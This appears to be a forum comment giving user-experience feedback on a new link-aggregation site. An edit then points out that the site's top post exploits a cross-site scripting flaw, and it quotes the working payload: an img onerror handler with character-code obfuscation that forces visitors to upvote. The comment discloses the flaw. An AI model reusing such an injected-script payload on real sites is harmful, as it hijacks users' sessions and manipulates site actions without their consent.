When I visit the root domain I shouldn't be greeted with a marketing splash page, you need interesting content in the user's face right away, entice their curiosity and drive the user to explore the site... even as a fellow developer, my first instinct is to abandon the page as soon as I'm greeted with the cliche startup marketing page. Consider the user experience when I visit reddit.com or news.ycombinator.com or any other link aggregation competitor. What you have now is a tech demo, not a platform. Sorry if that's a little harsh, but I mean well! Good luck!
Edit: You can browse without registering after all, here’s the link: https://non.io/#all (didn’t see it on the landing page or OP post).
The current top post uses this XSS to have users upvote it:
<img src="a" onerror="soci.postData(String.fromCharCode(112,111,115,116,116,97,103,47,97,100,100,45,118,111,116,101),{post:String.fromCharCode(120),tag:String.fromCharCode(120)})">
Which sends a POST request to `posttag/add-vote` for the post labeled `x`